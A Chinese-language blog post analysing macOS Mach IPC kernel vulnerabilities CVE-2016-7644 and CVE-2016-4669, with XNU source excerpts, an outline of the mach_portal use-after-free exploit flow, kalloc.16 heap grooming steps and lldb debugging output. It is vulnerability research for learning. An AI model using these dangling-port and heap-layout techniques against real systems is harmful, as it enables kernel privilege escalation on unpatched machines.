作者:mrh

0x00 摘要

本文是第三篇基于漏洞分析来学习Mach IPC的方面知识的记录。

阅读顺序如下。

1.再看CVE-2016-1757—浅析mach message的使用

2.CVE-2016-7637—再谈Mach IPC

3.从CVE-2016-7644回到CVE-2016-4669(本文)

CVE-2016-7644这个漏洞,本身是一个很简单的漏洞,但是通过一些技巧,可以做一些更有意思的事情。

pocwriteup这里

CVE-2016-4669的POC,之前我已经分析过了,详见CVE-2016-4669分析与调试。在做完这一系列的IPC相关的漏洞研究与学习之后,尝试的对CVE-2016-4669这个漏洞实现一个提权的利用。

并不能稳定触发,不过也加深了对内核的内存布局与IPC模块的理解。代码在这里

0x01 CVE-2016-7644 POC分析

漏洞的成因并不复杂,当两个线程同时调用时,ipc_port_release_send函数可能会被调用两次。

kern_return_t  
  set_dp_control_port(
    host_priv_t host_priv,
    ipc_port_t  control_port) 
  {
          if (host_priv == HOST_PRIV_NULL)
                  return (KERN_INVALID_HOST);

    if (IP_VALID(dynamic_pager_control_port))
      ipc_port_release_send(dynamic_pager_control_port); <--竞争发生的地方

    dynamic_pager_control_port = control_port;
    return KERN_SUCCESS;
  }

ipc_port_release_send函数内会修改port的一些属性,因为两个线程同时调用,触发了并发的漏洞,导致了bug的发生。

void  
ipc_port_release_send(  
    ipc_port_t  port)
{
    ipc_port_t nsrequest = IP_NULL;
    mach_port_mscount_t mscount;

    if (!IP_VALID(port))
        return;

    ip_lock(port);

    assert(port->ip_srights > 0);       <--线程[2] ip_srights == 0,触发assert,导致内核崩溃
    port->ip_srights--;             

    [...]

     ip_unlock(port);                    <--线程[1] ip_srights已经变为0,且port锁已经释放

     [...]
}

POC 代码编译成功之后,利用shell循环执行就可以触发内核崩溃,因为是并发的漏洞,所以需要尝试的次数比较多,手动执行可能很难触发。

0x02 mach_portal_redist 相关利用代码分析

通过阅读mach_portal_redist项目的kernel_sploit.c文件,漏洞的利用总共分为以下几个部分。

  • 获取内核中指向port的野指针
  • 堆内存的布局
  • 通过UAF获取kernel port

想要完全理解这几个部分,就需要了解更多的IPC相关的知识。

2.1 利用流程

通过漏洞获取一个指向port的野指针,流程大致如下。

//申请port
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);  
//在ipc系统中隐藏一个port的reference
stash_port (p) ;  
//dynamic_pager_control_port获取一个port的reference
set_dp_control_port(host_priv, p) ;  
// [1] 准备阶段结束
//释放task对port的send right
mach_port_deallocate (p);  
//触发漏洞
race();  
//释放stash_port
free_stashed_ports();  
// [2] 获取port的野指针

2.2 stash_port

当代码执行到[1]处时,做好了所有触发漏洞前的准备。我们的port拥有3对rightreference

通过mach_port_allocate函数的执行,task拥有port的一份rightreference

通过set_dp_control_port函数的执行,dynamic_pager_control_port拥有port的一份rightreference

这两个部分比较容易理解,stash_port的原理较为复杂,利用了IPC系统通过mach message传递消息时的特性。

在通过message传递一个port right时的流程大致如下。

/*
ipc_kmsg_copyin_body  
         |
         |----> ipc_kmsg_copyin_ool_ports_descriptor
                                 |
                                 |-----> ipc_object_copyin
                                               |
                                               |----> ipc_right_copyin
*/
kern_return_t  
ipc_right_copyin(  
{
        [...]
case MACH_MSG_TYPE_MAKE_SEND: {

        if ((bits & MACH_PORT_TYPE_RECEIVE) == 0)
            goto invalid_right;

        port = (ipc_port_t) entry->ie_object;
        assert(port != IP_NULL);

        ip_lock(port);
        assert(ip_active(port));
        assert(port->ip_receiver_name == name);
        assert(port->ip_receiver == space);

        port->ip_mscount++;
        port->ip_srights++; //通过发送数据,但是不从port中读取出来,使得right和reference都加1
        ip_reference(port);
        ip_unlock(port);

        *objectp = (ipc_object_t) port;
        *sorightp = IP_NULL;
        break;
        }
         [...]
}

当代码通过IPC系统发送一个port right时,portrightreference都会加1,而在读取消息时,会把rightreference减1,所以在未调用free_stashed_ports读取出message之前,就在IPC系统中存放了一份port的引用。

2.3 mach_port_deallocate

调用mach_port_deallocate函数可以释放目标port的一个RIGHT。我们的portreference为3,sright是2。

2.4 race

race就是利用了set_dp_control_port函数的漏洞,在并发执行的时,会导致对dynamic_pager_control_port连续两次调用ipc_port_release_send函数。

ipc_port_release_send每执行一次,会对目标portsrightreference做出一次减一的操作。这个时候我们的portreference变成了1,而sright变成了0,以为没有sendright存在了,所以会产生一个notify,通过这个土整,我们就可以知道成功的发出了条件竞争的漏洞了。

2.5 free_stashed_ports

stashed_ports_q的消息队列中还保存着我们传递的port,只需要对stashed_ports_q调用mach_port_destroy,因为传递的portreference已经是1了,在处理这个逻辑之后,port在内核中就已经被释放了,而我们的task中还保存了一个danglingport

/*
mach_port_destroy  
        |
        |--->ipc_right_destroy
                    |
                    |--->ipc_port_destroy
                                |
                                |--->ipc_mqueue_destroy
                                            |
                                            |--->ipc_kmsg_reap_delayed
                                                          |
                                                          |--->ipc_kmsg_clean_body
*/

调用栈大致如上所示,最核心的逻辑在ipc_kmsg_clean_body函数里实现。

0x03 回到CVE-2016-4669

对CVE-2016-4669的POC和漏洞成因的分析在这里

没有了解过这个漏洞的同学可以先了解一下。

经过对IPC模块一系列的漏洞的分析与学习,我尝试着对之前分析过的CVE-2016-4669这个漏洞写一写利用。

思路大致如下:

  • kalloc.16 的内存布局。
  • 触发漏洞,在内存中访问越界,对其他port调用ipc_port_release_send。创造dangling port
  • 重用port,获得root权限。

3.1 kalloc.16内存布局

在正常的情况下,kalloc.16的某个Page中的内存布局如下图所示(更多关于内存布局的只是可以查看这里):

  • [a]标记出的就是kalloc.16这个zonefree element
  • [b]是已经被使用的element,且16个字节都使用到了。
  • [c]是已经被使用的element,但是只用前面八个字节,所有后面8个字节是0xdeadbeefdeadbeef

因为漏洞会越界访问,对下个element中的地址调用ipc_port_release_send,所以通过向一个很多的stash port,发送同一个target portright,在发送完成后再释放其中一部分得stash port,在kalloc.16zone中制造触发漏漏洞的时候使用的free element

在构造完成后大致如下:

3.2 触发漏洞

这里要把patch的参数个数从1改成2。

#if    UseStaticTemplates
    InP->init_port_set = init_port_setTemplate;
    InP->init_port_set.address = (void *)(init_port_set);
    InP->init_port_set.count = 2;//1; // was init_port_setCnt;
#else    /* UseStaticTemplates */
    InP->init_port_set.address = (void *)(init_port_set);
    InP->init_port_set.count = 2;//1; // was init_port_setCnt;

出发漏洞后,就可以看到内存布局。

简单的调试流程如下:

先找到mach_ports_register函数第一次调用ipc_port_release_send的地方,并下一个断点。

    0xffffff800b0e22aa <+506>: call   0xffffff800b1c1bd0        ; lck_mtx_unlock
    0xffffff800b0e22af <+511>: lea    rax, [r15 + 0x1]
    0xffffff800b0e22b3 <+515>: cmp    rax, 0x2
    0xffffff800b0e22b7 <+519>: jb     0xffffff800b0e22c1        ; <+529> at ipc_tt.c:1096
    0xffffff800b0e22b9 <+521>: mov    rdi, r15
    0xffffff800b0e22bc <+524>: call   0xffffff800b0c98f0        ; ipc_port_release_send at ipc_port.c:1560
    0xffffff800b0e22c1 <+529>: lea    rax, [r13 + 0x1]
    0xffffff800b0e22c5 <+533>: cmp    rax, 0x2
    0xffffff800b0e22c9 <+537>: jb     0xffffff800b0e22d3        ; <+547> at ipc_tt.c:1096
    0xffffff800b0e22cb <+539>: mov    rdi, r13
    0xffffff800b0e22ce <+542>: call   0xffffff800b0c98f0        ; ipc_port_release_send at ipc_port.c:1560
    0xffffff800b0e22d3 <+547>: lea    rax, [rbx + 0x1]
    0xffffff800b0e22d7 <+551>: cmp    rax, 0x2
    0xffffff800b0e22db <+555>: jb     0xffffff800b0e22e5        ; <+565> at ipc_tt.c:1097
    0xffffff800b0e22dd <+557>: mov    rdi, rbx
    0xffffff800b0e22e0 <+560>: call   0xffffff800b0c98f0        ; ipc_port_release_send at ipc_port.c:1560
(lldb) b *0xffffff800b0e22bc
Breakpoint 1: where = kernel`mach_ports_register + 524 at ipc_tt.c:1097, address = 0xffffff800b0e22bc</span>  

然后执行exp程序,一般情况下是第二次命中断点时,portsCnt=3(第一次命中时portsCnt=1并不是我们的代码触发的,可以不管)。内存布局如下:

(lldb) p/x memory
(mach_port_array_t) $10 = 0xffffff80115cf9f0
(lldb) memory read --format x --size 8 --count 50 memory-0x20
[...]
0xffffff80115cf9a0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]  
0xffffff80115cf9b0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]  
0xffffff80115cf9c0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]  
0xffffff80115cf9d0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]  
0xffffff80115cf9e0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]  
0xffffff80115cf9f0: 0xffffff8015f0b680 0x0000000000000000 **[p_self,NULL]**  
0xffffff80115cfa00: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]  
0xffffff80115cfa10: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]  
0xffffff80115cfa20: 0x0000000000000000 0xdeadbeefdeadbeef  
0xffffff80115cfa30: 0xffffff8013dee0e0 0x0000000000000000  
0xffffff80115cfa40: 0x0000000000000000 0xffffffff00000000  
0xffffff80115cfa50: 0xffffff8013dee0e0 0x0000000000000000  
0xffffff80115cfa60: 0xffffff8013dee0e0 0x0000000000000000  
0xffffff80115cfa70: 0xffffff8013dee0e0 0x0000000000000000</span>  

接着,mach_ports_register的逻辑就会越界将0xffffff80115cfa00处的0xffffff8013dee0e0拷到task->itk_registered中去。

for (i = 0; i < TASK_PORT_REGISTER_MAX; i++) {  
      ipc_port_t old;

      old = task->itk_registered[i];
      task->itk_registered[i] = ports[i];
      ports[i] = old;
    }

通过lldb查看ports的状态。

p *(ipc_port_t)0xffffff8013dee0e0

(ipc_port) $12 = {
  ip_object = {
    io_bits = 2147483648
    io_references = 4057
    io_lock_data = (interlock = 0x0000000000000000)
  }
  [...]
  ip_srights = 4056
}

在第二次调用到mach_ports_register的时候,会对他们调用ipc_port_release_send

//第二次调用mach_ports_register函数时,ports中的数据变成了刚刚存储的
for (i = 0; i < TASK_PORT_REGISTER_MAX; i++)  
      if (IP_VALID(ports[i]))
        ipc_port_release_send(ports[i]);

这个时候再观察port在内核中的状态,机会发现ip_srightsio_references都做了一次减一

这个时候在释放掉所有的stashed port就将我们的target port 释放掉了。因为通过触发bug多释放了一次。

  • 通过stashed port创造了4096个reference,释放掉所有的stashed port就对reference做了4096次减一,通过触发bug 又多做了一次release,释放了一开始mach_port_allocate创建的reference
  • srightsreference相同。

3.3 重用port

这一步在我的EXP里就是看脸了,成功率并不是很高,没有找到稳定的利用方法。就不多说什么了,从别的EXP里抄来的代码。

0x04 小结

到这里整个MACH-IPC相关的漏洞分析与学习就暂时告一段落了。

这篇分析日志,断断续续写了很久,可能思路有点不连贯,有什么问题欢迎大家一起探讨:)